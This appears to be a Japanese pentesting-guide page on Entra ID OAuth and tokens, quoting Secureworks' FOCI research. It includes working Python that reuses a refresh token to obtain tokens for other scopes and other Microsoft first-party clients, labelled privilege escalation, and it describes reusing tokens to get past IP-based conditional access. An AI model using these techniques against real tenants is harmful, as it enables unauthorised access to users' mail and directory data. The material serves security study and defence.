基本情報
Entra IDは、Microsoftのクラウドベースのアイデンティティおよびアクセス管理(IAM)プラットフォームであり、Microsoft 365やAzure Resource Managerなどのサービスの基盤となる認証および認可システムとして機能します。Azure ADは、リソースへのアクセスを管理するためにOAuth 2.0認可フレームワークとOpenID Connect(OIDC)認証プロトコルを実装しています。
OAuth
OAuth 2.0の主要参加者:
リソースサーバー(RS): リソースオーナーが所有するリソースを保護します。
リソースオーナー(RO): 通常、保護されたリソースを所有するエンドユーザーです。
クライアントアプリケーション(CA): リソースオーナーの代理としてリソースへのアクセスを求めるアプリケーションです。
認可サーバー(AS): クライアントアプリケーションを認証および認可した後、アクセス トークンを発行します。
スコープと同意:
スコープ: アクセスレベルを指定するリソースサーバー上で定義された詳細な権限です。
同意: リソースオーナーが特定のスコープでリソースにアクセスするためのクライアントアプリケーションへの権限を付与するプロセスです。
Microsoft 365統合:
Microsoft 365はIAMのためにAzure ADを利用し、複数の「ファーストパーティ」OAuthアプリケーションで構成されています。
これらのアプリケーションは深く統合されており、しばしば相互依存するサービス関係を持っています。
ユーザーエクスペリエンスを簡素化し、機能を維持するために、Microsoftはこれらのファーストパーティアプリケーションに「暗黙の同意」または「事前同意」を付与します。
暗黙の同意: 特定のアプリケーションは、明示的なユーザーまたは管理者の承認なしに特定のスコープへのアクセスを自動的に付与されます 。
これらの事前同意されたスコープは通常、ユーザーや管理者から隠されており、標準的な管理インターフェースではあまり目立ちません。
クライアントアプリケーションの種類:
自身の資格情報(例:パスワードや証明書)を持っています。
セキュリティの影響: 攻撃者は、認可サーバーがアプリケーションの正当性を確認するメカニズムを持たないため、トークンを要求する際に公開クライアントアプリケーションを偽装できます。
認証トークン
OIDCで使用される3種類のトークン があります:
アクセス トークン : クライアントはこのトークンをリソースサーバーに提示してリソースにアクセス します。これは特定のユーザー、クライアント、およびリソースの組み合わせにのみ使用でき、期限切れまで取り消すことはできません - デフォルトでは1時間です。
IDトークン: クライアントはこのトークンを認可サーバーから受け取ります 。ユーザーに関する基本情報が含まれています。これは特定のユーザーとクライアントの組み合わせに結びついています 。
リフレッシュトークン: アクセストークンと共にクライアントに提供されます。新しいアクセスおよびIDトークンを取得するために使用されます 。これは特定のユーザーとクライアントの組み合わせに結びついており、取り消すことができます。非アクティブなリフレッシュトークンのデフォルトの有効期限は90日 で、アクティブなトークンには有効期限がありません (リフレッシュトークンから新しいリフレッシュトークンを取得することが可能です)。
リフレッシュトークンは**aud
、いくつかの スコープ**、およびテナント に結びついており、そのaud、スコープ(それ以上ではなく)およびテナントのためにのみアクセス トークンを生成できる必要があります。しかし、これはFOCIアプリケーショントークン には当てはまりません。
リフレッシュトークンは暗号化されており、Microsoftのみがそれを復号化できます。
新しいリフレッシュトークンを取得しても、以前のリフレッシュトークンは取り消されません。
条件付きアクセス に関する情報はJWT 内に保存 されています。したがって、許可されたIPアドレス からトークンを要求 すると、そのIP はトークンに保存 され、その後、許可されていないIPからリソースにアクセスするためにそのトークンを使用できます 。
アクセストークン "aud"
"aud"フィールドに示されたフィールドは、ログインを実行するために使用されるリソースサーバー (アプリケーション)です。
コマンドaz account get-access-token --resource-type [...]
は、以下のタイプをサポートしており、それぞれが結果のアクセス トークンに特定の"aud"を追加します:
以下はaz account get-access-token
でサポートされているAPIに過ぎませんが、他にもあります。
audの例aad-graph (Azure Active Directory Graph API) : レガシーAzure AD Graph API(非推奨)にアクセスするために使用され、アプリケーションがAzure Active Directory(Azure AD)内のディレクトリデータを読み書きすることを可能にします。
https://graph.windows.net/
arm (Azure Resource Manager) : Azure Resource Manager APIを通じてAzureリソースを管理するために使用されます。これには、仮想マシン、ストレージアカウントなどのリソースの作成、更新、削除などの操作が含まれます。
https://management.core.windows.net/ or https://management.azure.com/
batch (Azure Batch Services) : 大規模な並列および高性能コンピューティングアプリケーションを効率的にクラウドで実行するためのサービスであるAzure Batchにアクセスするために使用されます。
https://batch.core.windows.net/
data-lake (Azure Data Lake Storage) : スケーラブルなデータストレージおよび分析サービスであるAzure Data Lake Storage Gen1と対話するために使用されます。
https://datalake.azure.net/
media (Azure Media Services) : ビデオおよびオーディオコンテンツのためのクラウドベースのメディア処理および配信サービスを提供するAzure Media Servicesにアクセスするために使用されます。
https://rest.media.azure.net
ms-graph (Microsoft Graph API) : Microsoft 365サービスデータのための統一エンドポイントであるMicrosoft Graph APIにアクセスするために使用されます。Azure AD、Office 365、Enterprise Mobility、Securityサービスなどのサービスからデータとインサイトにアクセスすることを可能にします。
https://graph.microsoft.com
oss-rdbms (Azure Open Source Relational Databases) : MySQL、PostgreSQL、MariaDBなどのオープンソースリレーショナルデータベースエンジンのためのAzure Databaseサービスにアクセスするために使用されます。
https://ossrdbms-aad.database.windows.net
アクセストークン スコープ "scp"
アクセス トークンのスコープは、アクセス トークンJWT内のscpキーに保存されています。これらのスコープは、アクセス トークンがアクセスできるものを定義します。
JWTが特定のAPIに連絡することが許可されているが、要求されたアクションを実行するためのスコープを持っていない場合 、そのJWTでアクションを実行できません 。
リフレッシュおよびアクセス トークンの取得例
Copy # Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any , Dict , List
# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal . PublicClientApplication (
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)
device_flow = azure_cli_client . initiate_device_flow (
scopes = [ "https://graph.microsoft.com/.default" ]
)
print (device_flow[ "message" ])
# Perform device code flow authentication
azure_cli_bearer_tokens_for_graph_api = azure_cli_client . acquire_token_by_device_flow (
device_flow
)
pprint (azure_cli_bearer_tokens_for_graph_api)
# DECODE JWT
def decode_jwt ( base64_blob : str ) -> Dict [ str , Any ] :
"""Decodes base64 encoded JWT blob"""
return jwt . decode (
base64_blob, options = { "verify_signature" : False , "verify_aud" : False }
)
decoded_access_token = decode_jwt (
azure_cli_bearer_tokens_for_graph_api. get ( "access_token" )
)
pprint (decoded_access_token)
# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client . acquire_token_by_refresh_token (
azure_cli_bearer_tokens_for_graph_api. get ( "refresh_token" ),
# Same scopes as original authorization
scopes = [ "https://graph.microsoft.com/.default" ],
)
)
pprint (new_azure_cli_bearer_tokens_for_graph_api)
FOCIトークンの特権昇格
以前に述べたように、リフレッシュトークンは生成されたスコープ 、アプリケーション 、およびテナント に結び付けられるべきです。これらの境界のいずれかが破られると、ユーザーがアクセスできる他のリソースやテナントに対して、元々意図されたよりも多くのスコープでアクセストークンを生成することが可能になるため、特権を昇格させることができます。
さらに、Microsoft identity platform (Microsoft Entraアカウント、Microsoft個人アカウント、FacebookやGoogleなどのソーシャルアカウント)では、すべてのリフレッシュトークンでこれが可能です 。なぜなら、ドキュメント には次のように記載されているからです。「リフレッシュトークンはユーザーとクライアントの組み合わせに結び付けられていますが、リソースやテナントには結び付けられていません 。クライアントは、許可されている任意のリソースとテナントの組み合わせに対してアクセストークンを取得するためにリフレッシュトークンを使用できます。リフレッシュトークンは暗号化されており、Microsoft identity platformのみがそれを読み取ることができます。」
さらに、FOCIアプリケーションは公開アプリケーションであるため、サーバーに認証するための秘密は必要ありません 。
次に、元の研究 で報告された既知のFOCIクライアントは、こちら で見つけることができます。
異なるスコープを取得
前の例のコードに続いて、このコードでは異なるスコープの新しいトークンを要求しています:
Copy # Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client . acquire_token_by_refresh_token (
new_azure_cli_bearer_tokens_for_graph_api. get (
"refresh_token"
),
# But different scopes than original authorization
scopes = [
"https://outlook.office.com/.default"
],
)
)
pprint (azure_cli_bearer_tokens_for_outlook_api)
異なるクライアントとスコープを取得する
Copy # Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal . PublicClientApplication ( "d3590ed6-52b3-4102-aeff-aad2292ab01c" )
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client . acquire_token_by_refresh_token (
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api. get ( "refresh_token" ),
# And request different scopes too
scopes = [ "https://graph.microsoft.com/.default" ],
)
)
# How is this possible?
pprint (microsoft_office_bearer_tokens_for_graph_api)
参考文献